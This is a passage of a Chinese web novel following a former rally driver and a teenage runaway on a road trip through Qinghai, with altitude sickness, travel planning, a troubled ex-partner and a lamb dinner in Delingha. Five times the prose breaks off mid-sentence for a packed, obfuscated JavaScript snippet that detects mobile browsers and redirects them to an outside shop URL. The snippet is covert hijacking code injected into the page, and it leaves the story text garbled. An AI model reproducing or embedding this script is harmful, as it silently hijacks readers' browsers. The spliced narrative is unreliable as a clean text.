头顶是飘着云朵的蓝天,身后是青色的湖水,微微带到一点堤上的草地,最妙的是恰有几只海鸥飞过。 就这种无意识的回眸最为致命,更别说风吹得几缕头发往上一飘,真要飘到人心里去了。 “别动!千万别动!就这样好看!”杨糕不肯放过这个景,镜头拉远拉近连按快门。 而照片里陈睦的表情,也一张比一张不耐烦:“好了没啊,我眼睛都快瞎了。” * “绝了,绝了姐,我拍出了你的人生照片。”摄影师看起来远比模特要兴奋,“果然这个帽子还是高颧骨戴好看,这凌厉的宿命感,真不是一般人驾驭得了的。” 陈睦都不知道他哪来这么多形容词:“……我怎么感觉黑黢黢的,背光了吧?” “你不懂!要的就是这个效果!就是有点倔强,又有点温暖的悲伤,你看你戴帽子的这只手刚好成了三角形构图,再加上背景里的几只海鸥——这就是一个被放逐的灵魂,这一刻海鸥就成了你,你也成了海鸥……” 给陈睦听得迷迷糊糊的。 书到用时方恨少,好大个湖好多鸟。 她逐渐对杨糕的摄影大业失去兴趣,扁扁嘴继续往湖边走去,嘴里还叨咕:“你确定这是海鸥吗?可这也不是海啊,应该说是‘湖鸥’?” 杨糕也跟过来,拍得神清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227687|151273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气爽也不耽误他吐槽:“你嘴里就只能说出这么毁气氛的话吗?” “那你就不毁气氛了?这么大个艳阳天你还能看出悲伤来了。” “你这人怎么这么俗……艳阳天就不能悲伤了吗?你知不知道什么叫‘哀吾生之须臾’?” “哟,不愧是刚高考完的脑子,转得就是快哈。” “你能不能给我点正脸,我总不能全拍你背影。” 陈睦就把手往上衣口袋里一揣,转过身来对着镜头倒着走:“哎你说,你这么把我指挥得团团转,那我这算不算是在给你当模特啊?我记得模特工资还挺高的——像我这样个子又高身材又好的,在模特圈里怎么算钱?” “可算了吧,真要是专业的模特都用不着我指挥,而且也不像你这么话痨。”杨糕说着往后头看了看,“你要骑着牦牛拍几张吗?” 陈睦也回头看:“哟,这儿也有牦牛啊,我说怎么越走越臭呢——不了吧,我刚在附近牧场拍过了……哎,那个经幡好看,经幡可以拍一下。” 随着陈睦往湖边的一个经幡跑去,杨糕也切换到了录像模式。 因为焦距变化,一开始杨糕都没捕捉到她人,晃了一下才把她框进来。 “姐……”他开口想把人叫住,但又隐约觉得在这儿大喊一声“姐姐”听上去怪怪的。 于是索性不客气地叫道:“陈睦!” 陈睦转过身来的样子有些惊讶,似乎没想到他竟知道自己的名字,反应了一下才想起自己的身份证刚从他手上过了一遍。 于是她也不甘示弱地叫道:“杨糕!” 杨糕忽然想笑。 他举着相机一路向她走过去:“今天是2024年7月21日,你在哪儿呢?” 陈睦这才反应过来他是在录像:“今天啊,今天在从西宁到德令哈的路上,救了个小孩。” 杨糕倒也不想破坏氛围,只是在这段或许会被保存很久的视频中为自己正名:“我已经成年了。” 陈睦哪里管他,一边半退半走地靠近经幡,一边自说自话:“然后在在小羊羔的建议下,我们就来到了这青海湖。” 杨糕的镜头背景也随之变成经幡和湖面:“那你觉得青海湖好玩吗?” “好玩啊。” “所以是不是还是挺需要一个靠谱的导游的?” 陈睦笑出声来,合着他是在录证据:“只怕是导游需要我呢,因为导游他没车。” 听语气像是有门的样子。 杨糕赶紧乘胜追击:“行不行嘛……我们也算是互相需要啊,反正我都跟家里报过平安了,多在外面逗留几天也没关系吧……哎你跑什么!” 眼瞅着陈睦已经跑进了经幡里头,杨糕也赶紧切回拍摄模式,快跑几步跟上。 差不多就是这时,他才发现跟陈睦在一起的时候,他几乎不会去想家里那些事。 不会想起和父母的关系还没缓和,不会去怀疑自己的任性是否正确,就连前几天哭到几近干涸的眼泪,现在想想似乎也带上几分傻气。 唯一的磨难是总是被气到说不出话,又时不时在气头上被逗笑。 她一定是那种没什么烦恼的人吧——这么一想,杨糕便真情实感地羡慕起了这个看上去很厉害的姐姐,或者说是羡慕每一个已经拥有坚定内核的、真正的大人。 虽然陈睦总是无端yy自己在这孩子眼里的形象,但这一刻,杨糕的想法还真跟她的yy有了些许重叠。 他想有朝一日,能够成为陈睦这样的人。 12. 情人 但是这种莫名燃起的崇拜之情,总是破产得飞快。 杨糕万万没想到出了青海湖是他来开车,陈睦已经倒下了,在副驾驶上虚弱地吸着氧。 关键她要是愿意安安静静待着也行,可她嘴上一刻不停,一直在叫唤:“我不行了,我要死了,我头好疼,我喘不过气了……” 吓得杨糕快也不是,慢也不是:“你、你坚持一下……实在不行我们住茶卡镇,镇上也有宾馆。” “茶卡镇?”只是大致做做攻略的陈睦完全没留意还有这么个地方,“所以茶卡盐湖之所以叫茶卡盐湖,是因为它在茶卡镇附近吗?” “反了,茶卡在藏语里就是‘盐池’的意思,所以是先有的盐湖再有的茶卡镇。”杨糕开着车也不敢拿手机,只问陈睦道,“你还有精力查东西吗?现在旅游旺季,很多旅行团会在茶卡落脚,茶卡镇的宾馆临时约不一定约得上……你可以先看一下。” 其实陈睦对自己的身体状况有数,知道这种程度的高反歇一会儿就能缓过来,她只是喜欢瞎喊。但杨糕真能很快拿出解决办法,让她还挺意外的:“这个茶卡镇很近吗?” “就在前边了。” “海拔多少?” “3000左右吧。” “那还是高啊。” “这没办法,德令哈海拔也是3000左右,这一段都这样。”杨糕一言难尽地看着她,“没想到你高反这么严重,那你这辈子是进不了藏了。” “也不至于……我就是刚刚跑得太急了,要是慢慢适应的话其实不会这么难受。” 虽然听起来很像嘴硬,但陈睦这话确实是有依据的——她曾在更高海拔的地段比过赛,刚落地时徐来总会严格控制她的饮食、行动,必要时还会服用一些葡萄糖。 当时陈睦只觉得徐来烦得要死,明明她身体好得很,还非得让她按最高标准去预防。不过这也不是不能理解——赛车改装费上百万、比赛报名费数十万,陈睦作为比赛中最重要的赛车手绝不能出岔子,所以徐来的安排她基本上都是接受的。 即便如此,比赛过程中还是会出现或强或弱的不适感,但只要徐来还在副驾驶坐着,陈睦就只管踩着油门向前冲就好了——哪怕是在无人区的黑夜里,她也从未因为高反而恐惧过,她知道徐来就算是自己快死了,也会先把她弄活。 现在想想,还挺怀念那个时候的。 自打一年前道别赛场之后,陈睦跟徐来吵过不少次架,感情也在一次次的争吵中逐渐淡了,没想到重新回忆起好的时候,竟是因为再次感受高反。 她不由得笑笑,自己评估着自己的身体状况——其实比在橡皮山那会儿还稍微好点,就是得吸会儿氧缓缓,不是什么大事。 倒是把临时顶上来的杨糕吓个半死:“不行,姐,你这个车我有点驾驭不了,它跟我在驾校学的好像不一样,它拐弯的时候老飘……” “哦对,你早说啊。”陈睦起了个身来,伸手把四驱模式关了,“继续开吧。” * 杨糕还是觉得她是个大车司机,至少真是个司机:“所以你就是挺懂车的,你到底是做什么工作的啊?” “你非要知道我做什么工作的干嘛?” “就好奇啊。” “我是汽车杂志的编辑,所以对车比较了解……嘿嘿。”陈睦说到最后自己都笑出声来。 杨糕实在是好气:“你要是不想说就说不想说,别老拿人当傻子!” “你看我说了你又不信,那你还问我干嘛呢?” “要不你先告诉我你笑什么?” “我想到开心的事情。” “我……”杨糕真想一脚油门踩下去。 * 他差不多也意识到陈睦的高反其实没有她喊的那么夸张,于是又试图跟她商量行程:“所以到底怎么说,前面快到茶卡服务区了,我们是去茶卡镇还是德令哈?” 陈睦揉着太阳穴:“你有什么建议没有?你不是导游吗?” “去茶卡的话,好处是你能早点休息,我能不开夜车;去德令哈的话,好处是住宿比茶卡便宜,还有明天的行程会相对轻松一点。” “明天的行程?我自己都不知道我明天的行程是什么。” “是啊,所以这就是我说的,你多少要有点规划。”杨糕无意识间都开始单手摸方向盘了,另一只手比划着,“姐,我也不管你祖籍在哪了,反正你的身份证上显示,你是个浙江人。” “然后呢?” “然后浙江人在海西州,基本上都是可以免景点门票的。” 陈睦一时没反应过来:“海西州?” “青海省海西蒙古族藏族自治州,简称海西州。”杨糕解释,“也就是说以茶卡盐湖为起点,后面的翡翠湖、察尔汗盐湖、水上雅丹,你其实都可以免门票钱。” 陈睦垂死病中惊坐起:“凭什么?” “因为有对口援建,就像青海湖的黑马河景区对江苏人免费,也是因为江苏的对口援建。” “那我没去茶卡盐湖不是很亏?” “倒也不是——所谓的免费是免门票钱,里面的摆渡车费用你还是要出的,并不是所有消费都免费。所以就算更早知道你是浙江人,今天我还是会建议你选择青海湖,因为大风天能在茶卡盐湖出片的概率约等于中彩票。” 他说着换了口气儿:“而其他的海西州景点如果你想尽可能看到,那明天你要走的路线被称作‘大柴旦小环线’,从地图上看就像是大环线上冒出个小疙瘩——这段路如果从德令哈出发要开10小时,从茶卡镇出发要开12小时,不算任何游玩时间,所以大概率你是不能每个景点都看到的,还是要有所取舍。” 陈睦听明白了:“就是茶卡镇到德令哈之间有2小时,现在就是要决定这2小时车程是今晚开还是明天开呗?” 杨糕原本还疑心自己没说明白,正准备再进一步解释一下,没想到陈睦总理解完全正确:“对,在你身体受得了的情况下,其实住在德令哈对明天的行程会比较友好,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227688|151273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果你实在难受,我们就在茶卡镇停下,明天的事明天再说。” “还是开吧,这才7点多,行程那么紧张不如今晚多开会儿。”陈睦做决定一如既往的快,顺带把氧气瓶一收,“正好前面服务区停车加油上厕所,然后换我开,我开还能快点……” 正说着话,她的手机就响了起来。 * 一如杨糕所说,这里日落要等8点,这会儿的太阳只是偏西,开始出现霞光。 此处山上的植被已远不如青海湖附近茂盛,似乎也不见了吃草的牛羊——当然也可能是天晚了,它们已经回家了。 陈睦甚至有看到一座山头,它有一整面都是没有植被覆盖的。 这就很不像一座山了,它更像一块荒芜的巨石,夕阳打在上面,镀上一层虚假的金光。 “你不接吗?”杨糕感到奇怪。 陈睦确实没有接,但她也没挂断,所以这应该也不是一通骚扰电话。 半晌没听见陈睦回应,杨糕便扭头看了一眼——得,刚还觉得她是个没烦恼的人呢,现在一看这表情都快阴出乌云来了。 好在电话很快结束,杨糕也继续追问了一句:“谁啊?叫徐来?” “就你眼睛尖还是怎么着……”听得出陈睦是想数落他的,但第二通电话很快打进来,再次让她的嚣张气焰偃旗息鼓。 杨糕又瞄了一眼——没错,来电显示就是“徐来”。 这个名字似乎可男可女,但根据陈睦的反应,杨糕判断这是她的老情人,还是颇有纠葛的那种。 对一个刚刚高中毕业的小男生来说,这可太有趣了。 * 毫不夸张地说,杨糕有点幸灾乐祸。 毕竟是一路把自己当小孩子戏弄的、看上去心高气傲的姐姐,甚至就算是高反了、就算对明日行程一无所知,她身上也总是辐射着一种专属于成年人的气定神闲,好像天塌下来她能顶着一样。 谁能想到这样的人也会有弱点,一通电话就把她打懵了,感觉现在跟她贫两句嘴,她都不能像之前那样迅速地反驳。 他便试探着问:“谁啊?” 陈睦语速飞快:“朋友。” “怎么不接?” “不太想接。” “……”杨糕顿住片刻——八卦归八卦,但陈睦这个语气,他还真有点不敢多问。 眼瞅着车内的气氛在手机的嗡嗡声中愈发凝重,直到第三通电话打进来,杨糕才尝试着开口劝道:“姐,等待会信号不好了,可能想接都接不……” 话音未落,陈睦便一把把手机拿了起来:“喂。” 另一头的声音不大,但杨糕还是模模糊糊听到是个年轻男人的声音。 陈睦似乎也在听到这个声音的同时松了口气,声音却冷淡得出奇,和白天游玩的时候完全是两个状态:“不用跟我说比赛的事,我不关心。你没事就好,我开车了。” 那边又飞快地问了句什么,陈睦甚至没等他说完,就逃也似的挂了电话。 13. 炕锅 那之后的一段时间,杨糕都没敢吭声。 就是努力在降低自己的存在感。 倒不是有多怕陈睦生气,主要是他本身还觉得陈睦心情挺好,应该是不会把他扭送派出所了,结果这个徐来三通电话一打,好嘛,现在感觉这姐马上能阴着张脸跟他说:“你还是早点回家吧,我不需要导游。” 这种时候还是保持安静比较安全。 说起来杨糕倒是有在想,他都已经成年了,那他应该有凭个人意愿出行的自由才对,理论上来说谁都不能强迫他回家……顶多是劝导。 但他肯定也不想被送去劝导就是了。 天色渐渐完全暗下来,远方只剩下山的剪影,橘色的车辆在公路上孤单前行。 这里前不着村后不着店,道路两侧尽是萧瑟旷野,偶有大车驶过,轰隆隆的声音更加吓人。 看了几次陈睦都是歪着脑袋看窗外,一副生死看淡的样子,杨糕总算忍不住开口道:“哎,你能不能管管我……” “嗯?”陈睦好像刚回过神来。 “你稍微看着我点儿啊,你明知道我是新手,这么放心让我一个人开车嘛……” “哦对,下一个服务区你停车换我。”陈睦说着把窗户打下来一点,像是为了透气,“刚不就说换人了吗,谁让你不换呢。” “……算了吧,你现在这个状态开车比我开还吓人。”杨糕说着斜眼瞄去——果然这张脸严肃的样子比嬉皮笑脸的样子看着顺眼多了,原来她这样的人也会被爱情所困吗? 他难得在陈睦面前感受到了一丝丝优越:“嗨呀,我懂,不就是男人嘛。那些情情爱爱的最没意思了,让你不舒服的人你还这么在意干嘛?还是自己开心最重要啦。” 陈睦倒也不反驳:“你很有心得?” “没吃过猪肉还没见过猪跑吗?”杨糕一摊手,“我们班上那一对对的,一天净搞这些酸事儿。一会儿这个劈腿了,一会儿那个分手了,还有满年级灭小三的。哎呀看得我真是……” 真是青春活力的对白,陈睦听着都觉得自己年轻了不少:“所以你没谈?” “我怎么可能做那种事呢!”杨糕赶忙撇清关系,“别看我知道得多,但我跟那种人可不一样,我心思还是很放在学习上的……” “是吗……” 陈睦逐渐觉得有点聊不下去——之前她只是觉得这孩子挺幼稚的,现在则觉得像个弱智。 不过她转念又想,确实初高中的时候一没钱二没时间,谈了也都是瞎谈,把心思放在学习上可能也没什么不对。 陈睦隐约记得自己当年也不理解搞对象有什么意思,不过那是因为她是那种粗线条,压根没开这一窍。但这孩子明显还挺喜欢那些风花雪月的东西,现在的状态更像是有那个恋爱羞耻症——陈睦甚至觉得要是再多聊几句,他可能会说出“我们班居然有男女同学已经牵过手了”这样的话来。 行吧。 然后过不了多久他就会开始被问“在学校里谈恋爱了没有啊”“什么时候能把人带回家呀”“真没谈啊?那这个女生挺好的,你周末去见见”“怎么不想见?自己不谈给你介绍你还不见,你要死啊?” 身为过来人的陈睦一想起他要经历的这些,就忍不住想笑。 心情总算好了起来:“不错,我很欣赏你,希望你好好坚持。你现在的主要任务是学习,不要跟那些不三不四的人同流合污。” 杨糕以为是自己的安慰起了效果,心里也挺美的:“也希望你早点走出来。姐,你要相信人生中还有许多重要的事,爱情是其中最不值一提的一个。” * 好好好,十八岁的少年啊,这日子可给你活明白了。 所以陈睦最终决定留下他的原因是,这孩子太可乐了,可以翻过来掉过去地盘。 这个故事告诉我们,当你一意孤行离家出走的时候,如果出现一个人,不仅不把你扭送回家,还带着你继续旅程,那这人安的未必是好心。 当然陈睦也给自己找好了理由:“你之前说张掖是返回西宁前的最后一站是吧?那我就带你绕一圈——你负责规划行程和陪拍,我要是开累了你得跟我换手,食宿方面你承担自己那部份,油钱……” 陈睦就是想吓他玩玩,但说到这儿杨糕脸色也没变。 看来他是不知道汽油有多贵。 算了,没劲。 陈睦继续开车:“油钱我就不跟你A了。那么整件事就是我在路上救了你,顺路送你回家。” “可以的姐!”杨糕这就入职了,“放心吧,你交代的这些我都能做好,你累了让我给你捶肩膀都行!” 陈睦开车确实比他快得多,而且还很稳当,基本上顶在最高限速开,就是过弯时有点吓人。 有时杨糕甚至会怀疑,她是个开飞机的。 既然已经被换到副驾,杨糕也开始做他该做的事:“那在抵达德令哈之前,我们得把明天的路线规划得更具体一点——现在已经确定明天的行程是‘从德令哈到大柴旦’,景点我们一个一个过。” 杨糕从包的侧兜掏出个小本子,还拿了支圆珠笔,在那写写画画:“德令哈的‘海子诗歌陈列馆’你想去吗?” “海子?”陈睦挖空脑袋搜寻自己的陈年记忆,“‘面朝大海,春暖花开’那位吗?” “是的,算是最出名的当代诗人了。” “他是德令哈人?” “他是安徽人。” “那为什么在德令哈有陈列馆?” “因为他在德令哈写了那首《日记》……你没读过吗?” “没读过,诗这玩意儿我读不明白。”陈睦倒是一点儿不遮掩。 杨糕也只好把写下的字划掉:“可惜了,我还挺想去的来着——那我们明天早起直接出发……” “早起?我早不了一点。” “那你想几点起?” “我想自然醒。” “……”杨糕头痛地拿圆珠笔屁股抵抵额头,“不管了,先定行程。你打算往格尔木方向去吗?” “你觉得我知道格尔木是哪吗……”陈睦说着说着忽然又觉得哪儿不对,“等会儿我好像还真听说过——哦!格尔木疗养院!禁婆起尸地!” * ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227689|151273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这大晚上的,杨糕被她吓了一跳:“什么婆起尸?” “没事儿这不重要。”陈睦已经恢复了正常,“格尔木好玩吗?有没有什么盗墓主题乐园之类的?” “哈?格尔木是进藏的路,途径察尔汗盐湖,延长线上有可可西里……不过这样的话会离大环线越来越远的。” 杨糕说着在本子上画起了示意图,然后举起来给陈睦看:“你看,要真这么走起来就没数了,所以我的建议是直接上315国道,过U型公路,到东台吉乃尔湖和水上雅丹,然后折返回到翡翠湖,最后入住大柴旦——我一会儿看一下大柴旦的住宿,尽量和你订在同一个宾馆。” 陈睦已经听晕了:“这里头有你说的那个特别好看的盐湖吗?” “有啊,就是东台。”杨糕说着在某一点上画了个圈。 “那察尔汗盐湖就不去了吗?” “察尔汗盐湖以青苹果绿的湖水著称,这个颜色的湖我们在翡翠湖也能看到,只不过会小一点。”杨糕又画了个圈,“单是我刚才说的那条路线,纯开车就要开上7个半小时,而且你路上肯定也会下车玩的,所以我的建议是不要绕路去察尔汗。” 陈睦比了个OK的手势:“听你的。” “好,那我们明早还是尽量早点起来,最迟最迟8点一定要出发了。”杨糕说着把本子一收,“就这也是特种兵行程呢,未必能每个地方都玩到,明天可能还得看情况调整。” “没问题。”陈睦干脆利落地应下,“但是我问你个事儿啊。” “什么?” “明天的景点里有小羊吗?” * 陈睦万万没有想到,有羊群的地方这就已经过了。 她整个人就是很震惊,仿佛错过了一个亿:“不是吧?往后就没有羊了吗?” “很长一段都不会有了,因为没什么草原了啊……你要羊干嘛?”杨糕不太理解,“你去饭店后厨问问说不定有。” “那种小奶羊吗?会有吗?” “小奶羊你就别想了,剥了皮都没有二斤肉,饭店要它干嘛?” 陈睦被他说得脊背一凉:“你在说什么?小羊这么可爱,怎么可以吃小羊?你这样太残忍了!” “难道我们第一次见面不是在手抓羊肉店里吗?!” 虽然本意是吐槽陈睦的虚伪,但没留神还真把自己说馋了——毕竟上一顿吃饭还是中午12点前,然后一直赶路还碰上这么多事,到这会儿早就饥肠辘辘。 杨糕咽了口唾沫,忍不住琢磨起晚饭来:“哎姐,一会儿到了德令哈你有什么想吃的吗?” “我不知道啊。”陈睦的脑子明显还留在小羊的话题里,“怎么,你要跟我一起吃吗?” “当然一起了!人多可以多点几样菜啊,每道菜都能尝到——放心啦,吃完我们AA,我不占你便宜。” 他确实占不到什么便宜,毕竟二人饭量旗鼓相当。 眼瞅着快下高速了,陈睦也懒得去查美食攻略,索性应下来:“行吧,那你说吃什么?” “我们去吃炕锅羊肉吧!” 14.畅饮 然后陈睦对炕锅羊肉的评价是,比手抓羊肉还好吃。 干香的羊肉,奶黄的玉米,微焦的土豆,粉红的腌萝卜。各色食材在滚烫的炕锅里和香辛料一起翻滚,完事儿撒上一把嫩绿的葱花,端上桌时还滋滋作响。 陈睦尝了一口之后最真实的感受是,她想把这一锅端走吃独食。 真的,人怎么能想出这么美味的烹饪方式呢?如果说手抓是鲜嫩多汁,炕锅就是干香辛辣,相似的是羊肉都一样没有膻味。 “你们这边是有什么特殊处理方式还是怎么着?这羊怎么这么香?”陈睦嘴里塞满了,只能乌拉乌拉地说话。 杨糕快要被她气死:“你要这么爱吃就再点一份,你老跟我抢肉干什么?” 陈睦也是才发现他不会用筷子,正确的用法是让两根筷子像夹子一样把菜夹起来,杨糕的筷子是X型握着的。 可怜他还不知道为什么自己夹菜没有陈睦利索,只能干着急。 “再点一份干嘛,不是你说两个人一起吃可以多吃几样的吗?再等等别的菜呗。”陈睦又夹了块土豆,“问你呢,你们这里的羊为什么没有膻味?” “因为羊好。” “哇,这个土豆也跟我们那儿的不一样!这个土豆好香——是因为品种不同吗?” “我哪知道,我又没去过你们那。”说到这儿杨糕想起来问了,“哎,你们杭州是不是也特别美啊。” “是啊,不然古代皇帝老来干嘛呢?”陈睦随意地抬抬筷子,“有机会来玩,我带你去西湖边转转,水肥的时候那湖面就像绸缎一样——逛西湖可不挑天气,晴天好看雨天更好看。” 杨糕张口就来:“哦,就是欲把西湖比……” “打住打住。”陈睦赶紧讨饶,“不要动不动就念诗,我遭不住。” 杨糕只得扁扁嘴偃旗息鼓:“你这人真没劲,你一点都不像江南水乡的女孩子。” 因为陈睦暂且被土豆吸引注意力,他也终于吃上了肉:“哎,那你们那边是不是没有这么多的大山啊?” “山?山其实也有,但都是长大树的山,不是长草的山。尤其开高速的时候,大山一座接着一座。” “这样啊……”这有点颠覆杨糕对江南的印象,但他很快反应过来,“哦我知道了——‘环滁皆山也’嘛!” * 这诗就非念不可吗? 陈睦也不知道哪里戳到她的笑点,一下子乐得不行:“其实你真的挺有意思的,有种幽默而不自知的气质。” 杨糕皱起眉头撇撇嘴:“感觉不像好话。” “怎么会呢,你这人就是太敏感了。”陈睦说完,赶在杨糕发飙之前抬手道,“你好,麻烦拿两瓶啤酒!” “好嘞!”随着热气腾腾的一声应和,两瓶啤酒就上了桌,顺带留下一枚起瓶器。 杨糕赶忙捂住其中一瓶:“你干嘛,你一个人喝两瓶吗?” “那瓶给你点的。你不喝吗?这么好的下酒菜。” “我才不喝呢,这玩意难喝得要死。”‘ “你不懂享受。”陈睦说着先把自己那瓶起了,“喝点吧,酒算我请的。” “一瓶啤酒我要你请?你要能把整顿饭都请了还差不多。”杨糕说着就要去把这瓶退了。 但陈睦已经叫住他:“行行行,这顿我请,你陪我喝两杯。” * 德令哈是戈壁滩上的一座小城,一条巴音河穿城而过,被视作德令哈的母亲河。 诗人海子的一首《日记》,让这原本默默无闻的城市声名鹊起,诗中描绘的苍凉孤寂,吸引着众多游客造访。如今这座城市早已今非昔比,热闹的夜市闪着各色的霓虹灯光。 陈睦和杨糕的宾馆是分开订的,但巧的是都在巴音河畔的一条街上,相距并不远。于是这家炕锅羊肉店也选在了附近的地方。 也就是说,今晚吃完饭后是不用开车的。 那不喝两杯就有点说不过去。 杨糕第一杯几乎是闭着气灌下去的,喝完头倒是不晕,就是特别想喝口白水漱漱口。 陈睦则是神清气爽地“哈”了一声,不知道的还以为她是喝了杯雪碧:“爽!人活着就图这一口!” “那你活得也太廉价了。”杨糕一边吐槽一边担心地留意着其他桌看他们的眼神,他可不希望自己也被当成一个游手好闲的酒鬼。 陈睦才不在乎小屁孩的评价,继续愉快地给自己倒酒,仔细听好像还哼上小曲了。 杨糕才注意到:“姐,你这就喝多了?怎么脸都有点红了?” “这有什么,喝酒就是为了多,不多我还喝什么酒啊。”陈睦好笑道,“放心吧,我自己有数,我的酒量就这一瓶啤酒,喝完我就打住。” “行吧……”杨糕将信将疑地应着,又给自己续了一杯。 两人面对面吃饭本来就很适合聊天,更别说这还喝上了。 杨糕其实也没多考虑,就是脱口而出了一个不太需要保密的问题:“所以你到底为什么一个人来旅游啊?” “这年头一个人旅游的不是很多吗?” “但是你也不像那种很喜欢自己待着的人啊,我觉得你朋友应该还挺多的。”杨糕继续吃菜,“而且大环线本来就不太适合一个人自驾,无人区啊,高反啊都难顶,实在不行你跟团也行啊,孤身自驾大西北还是挺少见的。” 这个陈睦倒不刻意瞒:“因为朋友都有朋友的事,这几天他们忙着呢。” “那怎么不等他们几天?” “因为就想这几天出来。”陈睦说着又用啤酒配了一块酸萝卜,“而且以前的朋友,现在也不太想来往了。” 杨糕真没看出她还有这样的一面:“你一次性跟所有朋友闹翻了吗?” “差不多吧。就是回不到过去了。” “包括那个徐来?” 陈睦差点被啤酒呛着:“你还没把这名字忘了呢?” “因为很好记啊,‘清风徐来’嘛。”见她其实不是很抗拒聊这个话题,杨糕又进了一步,“是不是你前男友啊?” 这个,陈睦其实也无数次问过自己,她和徐来到底算不算男女朋友。 但可以确定的是,他们确实没有明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14233309|151273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面上地确定过关系——她曾开玩笑地表白过一回,被徐来糊弄过去了;徐来倒是认认真真地提过一次,但那次陈睦又拒绝了。 这事儿陈睦想想就觉得头疼,他们比赛的时候明明还挺有默契的,怎么在感情上就错位得这么彻底。 到现在,杨糕每次提起徐来时,陈睦脑中回想起的,其实还是第一次看见的徐来。 哦对,那时徐来刚好和杨糕一般年纪,但作为一个从小被寄予厚望的富家子,他在气质上比杨糕成熟很多。 “陈主管你好。”他这么称呼道,“我看了你昨天的比赛,真的非常精彩。你是个非常有天赋的选手,有兴趣在这条路上长期走下去吗?” 陈睦又是一杯下肚,看着杨糕说:“他是我的搭档。” * 似乎是很寻常的一句话,但杨糕当时就感觉到话里有种奇怪的意味。 就是,一般人都会觉得恋人比搭档要重要吧,但陈睦说这话时,就好像在说——男朋友算什么,他可是我的搭档。 这和路上给杨糕的感受大相径庭。 他原以为陈睦对这人这么冷淡,一定是恨透了他,而这人又几次三番地打过来,就很像是他做了什么让陈睦完全不能原谅的事,然后现在后悔了,在求复合。 他都做好了陪着骂骂渣男的准备了,没想到陈睦看起来对这个徐来还是很珍视,甚至给他一种他要是真敢骂陈睦会翻脸的感觉。 这让杨糕心里很不是滋味,他还以为他和陈睦是一头的呢,怎么现在好像他成了外人似的。 “哦……”他很好地把这股莫名的酸劲儿压下去了,“那你们是怎么……你是在工作中遇到不公平待遇了吗?” “就是工作做不下去了,我离职了。” “然后就被迫和以前的同事、搭档都分开了吗?”杨糕这才渐渐搞明白,“那难怪只有你有时间呢,不过如果工作时关系真的很好的话,离职了也可以做朋友的吧?” “不不不。”陈睦连连摇头,“做不了一点。” “他们背刺你了吗?还是说在什么纠纷中没站在你这一边?”杨糕试图理解,“如果单纯是你自己觉得离开了这个集体,心理上融入不了了,那就太没必要了。只要性格相投的话,怎么都能继续做朋友吧?” “哪那么容易呢?你还小你不懂,这世上很多事是身不由己的。”陈睦说着喝下今天的最后一杯,撑着桌子起身道,“吃好了没?吃好早点回去,不是说明天得早起赶路吗……” 话音未落,只见陈睦的身子猛地一个仄歪,杨糕赶忙一伸手扶住她。 但这很明显也不是脚下一滑,因为陈睦身上有某个地方明显使不上力气,为了站起来她不得不用力将杨糕一揽,借着他的肩膀维持平衡。 算不得什么太亲密的接触,但杨糕好像被揽懵了。 直到陈睦起了身来,把他放开,他才终于温热着脸说出话来:“你就是喝多了吧,就说让你别喝酒了……” “没喝多,不是喝酒的事儿。”陈睦皱着张脸,用拳头一下下捶着自己的腰,“我就是……腰有点疼。” 15.喜欢 毕竟是开了一天的车,久坐会腰痛也很正常吧。 杨糕没有多想,只是觉得她一个女孩子喝了酒,自己应该尽到把她送回去的义务。 看着陈睦在酒店大堂办入住,杨糕还故意在旁边转来转去,问她“姐你喝水吗”“我一会儿把你送上去再走”“我回去后今晚修张照片出来,你到时候看看行不行”。 当然这里的“喝水”“送上去”“修张照片”都不是关键词。 他真正想说的是“姐”“一会儿我走”“我会回去”——他是怕酒店前台误会他们之间的关系。 陈睦倒没察觉他的扭捏,直到走到房门前了还觉得好笑:“至于吗,都说了一瓶啤酒不会醉,你还专门送到门口来。” “那谁知道你,你也冒冒失失的。”杨糕都不好意思抬头,“又高反又信号不好,还非得一个人自驾,这大晚上的人生地不熟还非要喝酒,少这一口能怎么着?” 